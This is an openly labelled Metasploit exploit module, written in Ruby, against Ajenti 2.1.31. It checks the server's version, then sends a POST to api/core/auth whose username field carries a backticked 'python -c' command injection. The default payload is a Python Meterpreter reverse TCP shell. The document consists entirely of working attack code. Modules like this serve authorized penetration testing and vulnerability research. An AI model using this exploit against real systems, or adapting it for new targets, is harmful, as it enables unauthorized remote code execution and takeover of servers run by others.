##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Ajenti auth username Command Injection',
      'Description'     => %q{
        This module exploits a command injection in Ajenti == 2.1.31.
        By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
      },
      'Author'          => [
        'Jeremy Brown', # Vulnerability discovery
        'Onur ER <onur@onurer.net>' # Metasploit module
      ],
      'References'      => [
        ['EDB', '47497']
      ],
      'DisclosureDate'  => '2019-10-14',
      'License'         => MSF_LICENSE,
      'Platform'        => 'python',
      'Arch'            => ARCH_PYTHON,
      'Privileged'      => false,
      'Targets'         => [
        ['Ajenti == 2.1.31', {}]
      ],
      'DefaultOptions'  =>
          {
            'RPORT'   => 8000,
            'SSL'     => true,
            'payload' => 'python/meterpreter/reverse_tcp'
          },
      'DefaultTarget'   => 0
    ))
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => '/view/login/normal'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body =~ /ajenti/i
      return CheckCode::Safe
    end

    version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first

    if version
      vprint_status "Ajenti version #{version}"
    end

    if version == '2.1.31'
      return CheckCode::Appears
    end

    CheckCode::Detected
  end

  def exploit
    print_status('Exploiting...')
    json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",
                  'password' => rand_text_alpha_lower(7),
                  'mode' => 'normal'
    }
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri, 'api', 'core', 'auth'),
      'ctype'  => 'application/json',
      'data'   => JSON.generate(json_body)
    })
  end
end
